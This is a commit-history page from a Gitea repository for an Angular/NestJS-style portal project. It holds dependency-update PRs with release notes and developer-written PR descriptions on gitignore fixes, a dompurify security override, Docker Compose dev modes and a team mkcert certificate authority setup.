Compare commits

..

249 Commits

Author SHA1 Message Date
APF Portal Bot b08966ba1f chore(deps): update analog monorepo to v2.5.3 (#266)
CI / scan (push) Successful in 2m21s
CI / commits (push) Has been skipped
CI / check (push) Successful in 5m20s
CI / a11y (push) Successful in 2m2s
CI / perf (push) Successful in 3m55s
Docs site / build (push) Successful in 3m47s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@analogjs/vite-plugin-angular](https://github.com/analogjs/analog) | devDependencies | patch | [`2.5.2` -> `2.5.3`](https://renovatebot.com/diffs/npm/@analogjs%2fvite-plugin-angular/2.5.2/2.5.3) |
| [@analogjs/vitest-angular](https://analogjs.org) ([source](https://github.com/analogjs/analog)) | devDependencies | patch | [`2.5.2` -> `2.5.3`](https://renovatebot.com/diffs/npm/@analogjs%2fvitest-angular/2.5.2/2.5.3) |

---

### Release Notes

<details>
<summary>analogjs/analog (@&#8203;analogjs/vite-plugin-angular)</summary>

### [`v2.5.3`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#253-2026-06-01)

[Compare Source](https://github.com/analogjs/analog/compare/v2.5.2...v2.5.3)

##### Bug Fixes

- **vite-plugin-angular:** aggregate and locate template diagnostics on the default compilation path ([#&#8203;2354](https://github.com/analogjs/analog/issues/2354)) ([c7947ef](https://github.com/analogjs/analog/commit/c7947ef87723a02f80049cf30ac2829f3dce5658))
- **vite-plugin-angular:** drop transform from aot input metadata ([c5ab296](https://github.com/analogjs/analog/commit/c5ab2960833ee8a81350fa9d0465b79128d9428b))
- **vite-plugin-angular:** drop transform from input() jit metadata ([3fcc05c](https://github.com/analogjs/analog/commit/3fcc05cdc29deb450a261512033b206320c8e24e))
- **vite-plugin-angular:** emit isSignal on jit signal-query decorators ([0af2189](https://github.com/analogjs/analog/commit/0af21898ef1170168f9a77442f55534fbe0faf99)), closes [analogjs/analog#2344](https://github.com/analogjs/analog/issues/2344)
- **vite-plugin-angular:** preserve model() alias, required, and field ([88a6c75](https://github.com/analogjs/analog/commit/88a6c7504188af7cea30c3aa5026f961d33fe0a7))
- **vite-plugin-angular:** propagate required through aot model metadata ([f163239](https://github.com/analogjs/analog/commit/f163239045d38dcded27749a6efcb1dfc55f99cf))
- **vite-plugin-angular:** read outputFromObservable options from args\[1] ([f530f08](https://github.com/analogjs/analog/commit/f530f089ae0c2a8cf75a816a2543b75afd68d7ce))
- **vite-plugin-angular:** read outputFromObservable options from args\[1] in aot ([6f7ccb9](https://github.com/analogjs/analog/commit/6f7ccb90ca646247f28b16f7e75317484136f0cd))
- **vite-plugin-angular:** respect explicit declaration:false in lib-mode builds ([#&#8203;2352](https://github.com/analogjs/analog/issues/2352)) ([dfa4c95](https://github.com/analogjs/analog/commit/dfa4c9564262c64471f125d6bc7ae940a28de16d))
- **vite-plugin-angular:** skip aot signal synthesis when a matching decorator is on the field ([b823830](https://github.com/analogjs/analog/commit/b823830b4a10bb005eea5ba835d90feb4d06a3a6))
- **vite-plugin-angular:** skip signal downleveling when a matching decorator is on the field ([0221f10](https://github.com/analogjs/analog/commit/0221f1022c58ff65fa814353d038228777b24294))
- **vite-plugin-angular:** support build.lib + dedupe diagnostics on the Angular Compilation API path ([#&#8203;2353](https://github.com/analogjs/analog/issues/2353)) ([61e8a56](https://github.com/analogjs/analog/commit/61e8a56df42dd1e502fc056e810ed671e93c8e94))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/266
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-06-02 12:27:31 +02:00
julien 2a5ab4fb46 fix(gitignore): ignore infra/*-tenant.personas.json (ADR-0026) (#268)
CI / check (push) Successful in 2m8s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m23s
CI / a11y (push) Successful in 1m32s
CI / perf (push) Successful in 6m15s
## Summary

Add `infra/*-tenant.personas.json` to `.gitignore` mirroring the existing `*-tenant.entra.json` pattern, so the per-persona Entra `oid` map consumed by `apps/portal-bff/prisma/seed.ts` (ADR-0026) cannot accidentally be committed. The schema template `infra/test-tenant.personas.example.json` was already in place; the matching ignore was missed when the personas file was introduced.

## Background

ADR-0026 §"Seed personas" introduced two parallel tenant-private files:

- **`*-tenant.entra.json`** — Entra security-group GUIDs → role-slug map (24 entries). Has been correctly ignored since shipped (`.gitignore` lines 34-36).
- **`*-tenant.personas.json`** — Per-persona Entra `oid` map (19 entries). The example template was committed correctly but the matching ignore pattern was never added.

Practical consequence: `infra/test-tenant.personas.json` has been showing up as untracked (`??`) in `git status` on the R&D Lead's machine since the seed personas work landed in late May, surviving multiple sessions and PR opens — and could have been accidentally `git add .`-ed at any point. Confirmed via `git log --all -- infra/test-tenant.personas.json` (empty) that no commit has touched it yet, so no history rewrite needed — pure forward-only fix.

## What lands

| File | Change |
| --- | --- |
| `.gitignore` | Three new lines mirroring the entra pattern: a comment, `infra/*-tenant.personas.json` (ignore), `!infra/*-tenant.personas.example.json` (keep the template tracked). |
| `infra/README.md` | New row in the top-level table for the per-persona oid map, pointing at the `.example.json` template and ADR-0026, right under the existing entra row. |

## Verification

- [x] `git check-ignore -v infra/test-tenant.personas.json` → matched by `.gitignore:40:infra/*-tenant.personas.json`.
- [x] `git check-ignore -v infra/test-tenant.personas.example.json` → not ignored (the `!` negation correctly preserves the example template as a tracked file).
- [x] `git status --short` no longer surfaces the `??` for the personas file.
- [x] `git log --all -- infra/test-tenant.personas.json` confirms zero commits ever referenced this path, so no `git rm --cached` or history rewrite is required.

## Related

- [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) — entra group map, the pattern this PR copies.
- [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md) — Person/User/UserScope seed which consumes the personas map.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #268
2026-06-02 12:24:58 +02:00
julien c97f250836 chore(deps): bump dompurify override to >=3.4.5 (GHSA-87xg-pxx2-7hvx) (#267)
CI / commits (push) Has been skipped
CI / check (push) Successful in 4m45s
CI / scan (push) Successful in 2m31s
CI / a11y (push) Successful in 2m0s
CI / perf (push) Successful in 5m21s
Docs site / build (push) Successful in 5m1s
## Summary

Add a `pnpm.overrides` entry for `dompurify` to cover [GHSA-87xg-pxx2-7hvx](https://github.com/advisories/GHSA-87xg-pxx2-7hvx) — an XSS via `selectedcontent` re-clone in `dompurify@3.4.4`. Surfaced by `pnpm ci:audit`, same fix recipe as the prior `tmp` advisory (PR #240).

## Why this isn't an upstream upgrade

`dompurify` is a transitive of `mermaid` (which both the docs site VitePress plugin and the in-app diagrams use). The latest `mermaid@11.15.0` still declares `dompurify@^3.3.1` — that range happily includes `3.4.4`, so a `mermaid` bump (if one existed) does not move us off the vulnerable version. Pin via override, same pattern that already lives in `package.json` for `axios`, `tmp`, `esbuild`, etc.

## What lands

| File | Change |
| --- | --- |
| `package.json` | One line added to `pnpm.overrides`: `"dompurify@<3.4.5": ">=3.4.5"`. |
| `pnpm-lock.yaml` | `dompurify@3.4.4` → `dompurify@3.4.7` resolved (the current latest in the `>=3.4.5` window mermaid will accept). Net delta is minimal (+10 / -5 lines, single transitive bump). |

## Risk

Patch range bump on a tiny utility lib with a stable API. `3.4.5`, `3.4.6`, `3.4.7` are all sanitisation-only fixes per the changelog. Mermaid is the only consumer; it uses the documented `DOMPurify.sanitize` surface which has not changed.

## Test plan

- [x] `pnpm audit --audit-level=moderate` → `No known vulnerabilities found` (exit 0).
- [x] `pnpm why dompurify` shows a single resolved `dompurify@3.4.7` under both `mermaid` and `vitepress-plugin-mermaid` (no duplicate).
- [ ] CI green on Gitea (`check` + `scan` + `audit` jobs).
- [ ] Docs site (`pnpm docs:build`) builds; a page with a mermaid diagram renders correctly.
- [ ] Charts lib and any in-app mermaid surface render unchanged.

## Related

- [GHSA-87xg-pxx2-7hvx](https://github.com/advisories/GHSA-87xg-pxx2-7hvx) — the advisory.
- PR #240 (`chore(deps): bump tmp override to >=0.2.6`) — the same pattern this PR mirrors.
- [ADR-0022](docs/decisions/0022-docs-site-vitepress.md) — VitePress + mermaid pipeline, the consumer.
- [ADR-0023](docs/decisions/0023-charts-d3-observable-plot.md) — in-app charts, also goes through the same mermaid wrapper in places.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #267
2026-06-02 12:22:02 +02:00
julien b427576d5e feat(infra): single-file toggle between apps-profile dev modes (#265)
CI / check (push) Successful in 3m20s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m45s
CI / a11y (push) Failing after 14m42s
CI / perf (push) Failing after 14m48s
## Summary

Make the toggle between the two `apps`-profile access modes — `localhost` (VSCode Remote-SSH port forwarding) and HTTPS hostname (`apf-portal.dev-XX.local` via the mkcert team CA) — a **single-file edit** in `infra/local/.env`. Today the switch needs touching two files (the BFF's own `.env` for the four `ENTRA_*_REDIRECT_URI`, plus `infra/local/.env` for `NX_SERVE_CONFIGURATION`), with the extra cost that the BFF `.env` then carries mode-specific values and can drift from the `localhost`-friendly defaults that native `nx serve` (no Docker) expects.

After this PR:

- `apps/portal-bff/.env` stays at `localhost` defaults always — native `nx serve` works untouched, no mode-aware editing of secrets-bearing files.
- `infra/local/.env` is the **only** file a developer touches to flip between modes. Mode A is the default. Mode B is a five-line block to uncomment.

## How

The four `ENTRA_*_REDIRECT_URI` values are added to the `portal-bff` service's `environment:` block in `dev.compose.yml` with Compose interpolation that defaults to `localhost` and accepts overrides from `infra/local/.env`:

```yaml
ENTRA_REDIRECT_URI: ${ENTRA_REDIRECT_URI:-http://localhost:3000/api/auth/callback}
ENTRA_POST_LOGOUT_REDIRECT_URI: ${ENTRA_POST_LOGOUT_REDIRECT_URI:-http://localhost:4200/}
ENTRA_ADMIN_REDIRECT_URI: ${ENTRA_ADMIN_REDIRECT_URI:-http://localhost:3000/api/admin/auth/callback}
ENTRA_ADMIN_POST_LOGOUT_REDIRECT_URI: ${ENTRA_ADMIN_POST_LOGOUT_REDIRECT_URI:-http://localhost:4300/}
```

Compose's `environment:` block wins over `env_file:`, so the BFF inside the container always sees these — `localhost` when nothing is set in `infra/local/.env`, the HTTPS hostname values when Mode B is enabled. The BFF's own `.env` is irrelevant to the container's redirect URIs in either mode; it remains the canonical source for `localhost`-friendly defaults that native `nx serve` (running outside Docker) reads as before.

## What lands

| File | Change |
| --- | --- |
| `infra/local/dev.compose.yml` | Four `ENTRA_*_REDIRECT_URI` lines added to the `portal-bff` service's `environment:` block with `${VAR:-localhost-default}` interpolation. Inline comment explains the mode-toggle intent and points at `infra/README.md`. |
| `infra/local/.env.example` | The end-of-file "Apps" block is restructured into two clearly labelled profiles: **Mode A — Localhost (DEFAULT)** (an empty block — nothing to set) and **Mode B — HTTPS hostname** (a commented five-line template the developer uncomments). |
| `apps/portal-bff/.env.example` | Comment block above the redirect-URI defaults updated: instead of telling the developer to override these values here, it now explains they stay at `localhost` regardless and points at the compose-level override in `infra/local/.env`. |
| `infra/README.md` | New "**Switching between dev modes — `localhost` vs hostname**" subsection between "Dockerised app dev mode" and "HTTPS dev-server setup". Comparison table + step-by-step for Mode A + pointer to the HTTPS / mkcert subsections that follow for Mode B. |

## Test plan

- [x] Compose validates with no env overrides — the four `ENTRA_*_REDIRECT_URI` resolve to their `localhost` defaults (Mode A).
- [x] Compose validates with the four `ENTRA_*` plus `NX_SERVE_CONFIGURATION=https` set in the environment — the URIs resolve to the HTTPS hostname values (Mode B).
- [ ] **On vm-jg**: starting from a fresh checkout, leave `infra/local/.env` at its `.env.example` defaults. `./infra/local/dev.sh up apps`. Open `http://localhost:4200/` via VSCode Remote-SSH port forwarding. Login succeeds — the BFF receives `ENTRA_REDIRECT_URI=http://localhost:3000/api/auth/callback`.
- [ ] **On vm-jg**: uncomment the five Mode B lines in `infra/local/.env` (replacing `dev-jg` with the actual hostname). `./infra/local/dev.sh down && up apps`. Open `https://apf-portal.dev-jg.local:4200/`. Login succeeds against the HTTPS URIs.
- [ ] **Native WSL `nx serve`** (no Docker): unchanged — keeps reading `apps/portal-bff/.env`'s `localhost` defaults; the compose override never runs in this path.

## Related

- [ADR-0030](docs/decisions/0030-dockerised-dev-mode.md) — dockerised dev mode this finishes for the toggle-between-modes case.
- PR #263 (`feat(spa): opt-in 'https' nx serve config`) — provides the SPA-side TLS plumbing the Mode B switch enables.
- PR #264 (`docs(infra): document team mkcert CA on vm-gitlab`) — documents the trust root that Mode B relies on.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #265
2026-06-02 01:32:35 +02:00
julien 2ffbfc4034 docs(infra): document team mkcert CA on vm-gitlab (cross-VM trust) (#264)
CI / check (push) Successful in 2m21s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m27s
CI / a11y (push) Successful in 1m33s
CI / perf (push) Successful in 4m2s
## Summary

Doc-only follow-up to the just-shipped ADR-0030 dockerised dev mode + dev-server TLS (PR #263). Adds a "Team mkcert CA on `vm-gitlab`" subsection to `infra/README.md` so a teammate joining the project can browse any dev VM with a green padlock (cross-VM access) without each pair of devs having to swap their private CAs.

Hits a real need: a third developer is about to onboard, and the current single-dev mkcert procedure doesn't scale beyond one — each dev's solo CA is only trusted by their own workstation, so colleagues hitting another VM see a `NET::ERR_CERT_AUTHORITY_INVALID` warning every time.

## What lands

`infra/README.md` — one new subsection added immediately after the existing "HTTPS dev-server setup" block, under the same Local-dev-stack section. No other file touched.

The subsection documents:

1. **Initial setup on `vm-gitlab`** — install mkcert, create a root-only `CAROOT` at `/srv/apf-portal/mkcert-ca/`, generate the team CA there. Run once by the R&D Lead.
2. **Minting per-VM certs** — the canonical `mkcert -key-file … -cert-file … apf-portal.<host>.local` invocation pointed at the shared `CAROOT`, plus a sanity `openssl x509 -subject -issuer` step and the `scp` to the target VM's `~/Works/apf_portal/.secrets/dev-tls.{key,pem}`.
3. **Onboarding a new developer** — what flows where:
   - R&D Lead → new dev: `rootCA.pem` (public cert, secure channel — 1Password / Bitwarden / direct scp, never plain e-mail) + the per-VM cert pair already on their VM.
   - New dev's workstation: drop `rootCA.pem` into the local `mkcert -CAROOT`, run `mkcert -install` to push the team CA into the Windows trust store.
   - Standard `hosts` / `.env` / `NX_SERVE_CONFIGURATION=https` / `dev.sh up apps` follow.
4. **Operational notes** — departures (no CRL needed because the dev never held the private key), CA rotation, per-VM cert rotation, future migration to a corp-CA-signed cert.

## Why `vm-gitlab` as the CA host

The CA itself is just two files (`rootCA.pem` + `rootCA-key.pem`); it does not need a service running. `vm-gitlab` is the natural home for a few reasons:

- It is already a **shared, team-managed infra VM**, owned by the same person who would mint the certs anyway.
- The CA outlives any individual dev's laptop or workstation reinstall.
- Restricting the directory to `root` keeps the private key out of every developer's blast radius — only the R&D Lead with `sudo` on `vm-gitlab` can mint.

The R&D Lead becomes the steward; developers never need SSH access to `vm-gitlab`. That trade — slight bottleneck at onboarding for much smaller key-exposure surface — is the right balance at small team scale.

## Why not just distribute the CA key

Considered the alternative — every dev gets both `rootCA.pem` and `rootCA-key.pem` in their local mkcert `CAROOT` so they can mint their own certs. Pros: no bottleneck. Cons: the CA private key would live on N workstations, and anyone with it can forge a trusted cert for any hostname on any teammate's machine. Acceptable at 2 devs of complete trust; risky at 3+. The steward pattern scales without that trade.

## Test plan

- [x] Doc renders cleanly in the `infra/README.md` flow (subsection lands between "HTTPS dev-server setup" and "Service endpoints (defaults)").
- [ ] R&D Lead walks the "Initial setup on `vm-gitlab`" steps and confirms the CA files end up at `/srv/apf-portal/mkcert-ca/` with the documented permissions.
- [ ] First new-dev onboarding (the upcoming third dev) follows the section end-to-end and reaches `https://apf-portal.dev-<their>.local:4200/` with a green padlock.
- [ ] Verify the "browse from one dev's workstation to another dev's VM" promise: after the team CA is installed on at least two workstations, both can browse `https://apf-portal.dev-jg.local:4200/` and `https://apf-portal.dev-vc.local:4200/` without a cert warning.

## Related

- [ADR-0030](docs/decisions/0030-dockerised-dev-mode.md) — the dockerised dev mode this completes for team-scale operation.
- [ADR-0028](docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) — places `vm-gitlab` as shared infra; this PR uses it as the natural CA host.
- PR #263 (`feat(spa): opt-in 'https' nx serve config for dev-server TLS`) — provides the dev-server TLS plumbing this section instructs how to feed.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #264
2026-06-01 23:30:55 +02:00
APF Portal Bot b7440788d5 chore(deps): update dependency vite to v8.0.16 (#262)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m31s
CI / a11y (push) Successful in 2m44s
CI / check (push) Successful in 5m37s
Docs site / build (push) Failing after 15m43s
CI / perf (push) Failing after 20m59s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.14` -> `8.0.16`](https://renovatebot.com/diffs/npm/vite/8.0.14/8.0.16) |

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

### [`v8.0.16`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8016-2026-06-01-small)

[Compare Source](https://github.com/vitejs/vite/compare/v8.0.15...v8.0.16)

##### Bug Fixes

- **deps:** reject UNC paths for launch-editor-middleware ([#&#8203;22571](https://github.com/vitejs/vite/issues/22571)) ([50b9512](https://github.com/vitejs/vite/commit/50b951225bbf6151eb84a3ad5a454908ab4a76c9))
- reject windows alternate paths ([#&#8203;22572](https://github.com/vitejs/vite/issues/22572)) ([dc245c7](https://github.com/vitejs/vite/commit/dc245c71e5007ea4d891a025e2d69ac96c736546))

### [`v8.0.15`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8015-2026-06-01-small)

[Compare Source](https://github.com/vitejs/vite/compare/v8.0.14...v8.0.15)

##### Features

- send 408 on request timeout ([#&#8203;22476](https://github.com/vitejs/vite/issues/22476)) ([c85c9ee](https://github.com/vitejs/vite/commit/c85c9eeb9aaf41f477b48b057146887bd5620797))
- update rolldown to 1.0.3 ([#&#8203;22538](https://github.com/vitejs/vite/issues/22538)) ([646dbed](https://github.com/vitejs/vite/commit/646dbedd2870f8ec48df0321177d8aa64bbd1575))

##### Bug Fixes

- capitalize error messages and remove spurious space in parse error ([#&#8203;22488](https://github.com/vitejs/vite/issues/22488)) ([85a0eff](https://github.com/vitejs/vite/commit/85a0eff1c82bbb7c99a0fe8e63704316578a40d3))
- **deps:** update all non-major dependencies ([#&#8203;22511](https://github.com/vitejs/vite/issues/22511)) ([2686d7d](https://github.com/vitejs/vite/commit/2686d7d0b722402204d3bcc687a87adea1bcf9fa))
- **dev:** fix html-proxy cache key mismatch for /@&#8203;fs/ HTML paths ([#&#8203;21762](https://github.com/vitejs/vite/issues/21762)) ([47c4213](https://github.com/vitejs/vite/commit/47c4213f134f562c41ed7c031e4788510cf7e31e))
- **glob:** error on relative glob in virtual module when no files match ([#&#8203;22497](https://github.com/vitejs/vite/issues/22497)) ([5c8e98f](https://github.com/vitejs/vite/commit/5c8e98f8b584ac5d42f0f9b8580c49792213b13c))
- **optimizer:** close the rolldown bundle when write() rejects ([#&#8203;22528](https://github.com/vitejs/vite/issues/22528)) ([e3cfb9d](https://github.com/vitejs/vite/commit/e3cfb9deecff563550fa1b8abd27656b8b292815))
- **resolve:** provide onWarn for viteResolvePlugin in JS plugin containers ([#&#8203;22509](https://github.com/vitejs/vite/issues/22509)) ([40985f1](https://github.com/vitejs/vite/commit/40985f1c09b7696e594e6c5695fbc315d2da2c83))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies ([#&#8203;22566](https://github.com/vitejs/vite/issues/22566)) ([3052a67](https://github.com/vitejs/vite/commit/3052a67d9350f4c5076ab1c222c4a21a589cbcdd))

##### Code Refactoring

- correct logic in `collectAllModules` function ([#&#8203;22562](https://github.com/vitejs/vite/issues/22562)) ([6978a9c](https://github.com/vitejs/vite/commit/6978a9ceb942c4f5e211d52b8a1e569f8a65c80c))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/262
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-06-01 18:17:33 +02:00
julien db7e479dde feat(spa): opt-in 'https' nx serve config for dev-server TLS (#263)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m30s
CI / a11y (push) Successful in 1m42s
CI / check (push) Successful in 4m30s
CI / perf (push) Successful in 5m5s
## Summary

Add an opt-in `https` configuration to the SPA dev-servers so the ADR-0030 dockerised dev mode can be reached over a hostname registered in Entra. Entra refuses `http:` redirect URIs for anything other than `localhost`, which made the hostname-based access pattern (`apf-portal.dev-jg.local`, `apf-portal.dev.local`, …) — the only stable way to share a VM-based dev stack with another developer — impossible to wire to OIDC. This PR closes that gap without touching the WSL-native + localhost flow.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-shell/project.json`, `apps/portal-admin/project.json` | New `https` Nx serve configuration: inherits the `development` build, sets `ssl: true` + `sslKey: .secrets/dev-tls.key` + `sslCert: .secrets/dev-tls.pem`. `defaultConfiguration` stays `development`; the `https` config is purely opt-in. |
| `infra/local/dev.compose.yml` | The `portal-shell` and `portal-admin` commands now end with `--configuration=${NX_SERVE_CONFIGURATION:-development}`. Compose interpolates the value at YAML parse time from `infra/local/.env`. Default is `development` (no SSL), so behaviour is unchanged for anyone who doesn't opt in. |
| `infra/local/.env.example` | New commented-out `NX_SERVE_CONFIGURATION=https` block with the rationale + pointer to the mkcert setup. |
| `apps/portal-bff/.env.example` | Comment block above the `ENTRA_*_REDIRECT_URI` defaults shows the HTTPS hostname-based override pattern (the four URIs that go with the `apps` profile when accessing via a hostname) and reminds that each override must be registered Entra-side. |
| `infra/README.md` | New "HTTPS dev-server setup — remote-browser access via a hostname" subsection: mkcert install / `mkcert -install`, cert generation, `.secrets/dev-tls.{key,pem}` convention, Entra registration reminder, `NX_SERVE_CONFIGURATION=https` opt-in. Notes that WSL-native is unaffected and that the cert path stays the same when the corp CA eventually replaces mkcert. |

## Design notes

- **Convention `.secrets/dev-tls.{key,pem}` at repo root.** Matches the existing `apps/portal-bff/.secrets/jwks.pem` pattern (gitignored via `*.pem` + `*.key`). Workspace-relative path means project.json can hardcode it and each dev drops their per-host cert there.
- **Hardcoded path, per-dev cert content.** Each developer generates a cert for **their own** hostname; the cert sits at the same fixed path on every machine. Nothing dev-specific in `project.json`.
- **`https` is opt-in, not default.** Native `nx serve` keeps booting on HTTP (`localhost:4200`) without SSL key files, exactly as before. Compose default is also `development` — only setting `NX_SERVE_CONFIGURATION=https` in `infra/local/.env` switches it on, gated by the dev having actually run the mkcert step.
- **BFF stays plain HTTP.** Only the SPA dev-server terminates TLS — the proxy then hits `http://portal-bff:3000` on the internal Compose network. Entra still gets HTTPS at the browser-facing origin, which is what its policy enforces.

## What this PR deliberately does NOT do

- It does **not** force-enable HTTPS. Devs who don't care about hostname access continue working as before.
- It does **not** touch the BFF code, the Entra config helpers, or the auth flow itself. The whole change is config (project.json + compose + env-examples) + docs.
- It does **not** ship the shared VM cert story. That needs a corp-CA-signed cert (or a shared mkcert CA distributed across workstations); flagged in the README section as a follow-up.

## Test plan

- [x] Both `project.json` files parse as JSON; `nx show project` exposes the new `https` configuration with the expected SSL options.
- [x] `docker compose -f dev.compose.yml --profile apps config` validates with `NX_SERVE_CONFIGURATION=https` (resolves to `--configuration=https`) and without it (resolves to `--configuration=development`).
- [ ] **On vm-jg**: `mkcert -install` on the workstation, `mkcert` against `apf-portal.dev-jg.local`, copy `.secrets/dev-tls.{key,pem}` to the VM, set `NX_SERVE_CONFIGURATION=https` in `infra/local/.env`, register the four `https://apf-portal.dev-jg.local:*` URIs in Entra, restart `dev.sh up apps`, then open `https://apf-portal.dev-jg.local:4200/` from the workstation → SPA loads, no cert warning, sign-in completes and returns to the SPA via the OIDC callback.
- [ ] Native WSL flow unchanged: `nx serve portal-shell` still boots on `http://localhost:4200/`, OIDC against the existing `http://localhost:3000/...` Entra URIs still works.

## Related

- [ADR-0030](docs/decisions/0030-dockerised-dev-mode.md) — the dockerised dev mode this completes for the hostname-access case.
- [ADR-0018](docs/decisions/0018-environment-configuration-strategy.md) — per-environment SPA config strategy; `https` is a new Nx serve _configuration_, not a new `environment.ts` sibling, so 0018's build-time replacement story is unchanged.
- [ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md) — OIDC flow; no behaviour change, only the redirect-URI strings.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #263
2026-06-01 16:15:36 +02:00
APF Portal Bot cca3b76771 chore(deps): update dependency lint-staged to v17.0.6 (#257)
CI / scan (push) Successful in 3m38s
CI / commits (push) Has been skipped
CI / check (push) Successful in 6m55s
CI / a11y (push) Successful in 3m49s
CI / perf (push) Successful in 6m55s
Docs site / build (push) Successful in 5m50s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.5` -> `17.0.6`](https://renovatebot.com/diffs/npm/lint-staged/17.0.5/17.0.6) |

---

### Release Notes

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v17.0.6`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1706)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.5...v17.0.6)

##### Patch Changes

- [#&#8203;1803](https://github.com/lint-staged/lint-staged/pull/1803) [`bdf2770`](https://github.com/lint-staged/lint-staged/commit/bdf27700a6e25b40333672eef4d438984a2d0383) - Run all tests with [Deno](https://deno.com), in addition to Node.js and Bun.

- [#&#8203;1796](https://github.com/lint-staged/lint-staged/pull/1796) [`7508272`](https://github.com/lint-staged/lint-staged/commit/75082727cdd070adb59d62c9040515da3bbbb2f9) - Fix performance regression of *lint-staged* v17 by going back to using `git add` to stage task modifications. This was changed to `git update-index --again` in v17 for less manual work, but unfortunately the `update-index` command gets slower in very large Git repos.

- [#&#8203;1797](https://github.com/lint-staged/lint-staged/pull/1797) [`7b2505a`](https://github.com/lint-staged/lint-staged/commit/7b2505a1f8fb8735e6306c7dabdd5295632f8c1a) - This version of *lint-staged* uses the new [staged publishing for npm packages](https://docs.npmjs.com/staged-publishing) feature. Releases are already published from GitHub Actions with [trusted publishing](https://docs.npmjs.com/trusted-publishers), but now an additional approval with two-factor authentication is also required.

- [#&#8203;1802](https://github.com/lint-staged/lint-staged/pull/1802) [`321b0a9`](https://github.com/lint-staged/lint-staged/commit/321b0a972a434006f5b5fac18867974ef040d037) - Downgrade dependency `tinyexec@1.2.2` to avoid issues in version 1.2.3.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #257
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-06-01 14:27:47 +02:00
julien 045ff924a8 fix(infra): exclude serve-static from 'dev.sh up all' (port collision with apps) (#261)
CI / check (push) Successful in 4m9s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m33s
CI / a11y (push) Successful in 1m49s
CI / perf (push) Successful in 5m30s
## Summary

Fix `./infra/local/dev.sh up all` failing on `port is already allocated` for port 4200: the `apps` profile (ADR-0030 — Angular dev-server on 4200) and the `serve-static` profile (Caddy reverse proxy for the production build, also defaulting to 4200) cannot run together. `up all` expanded to "every profile" without taking that conflict into account.

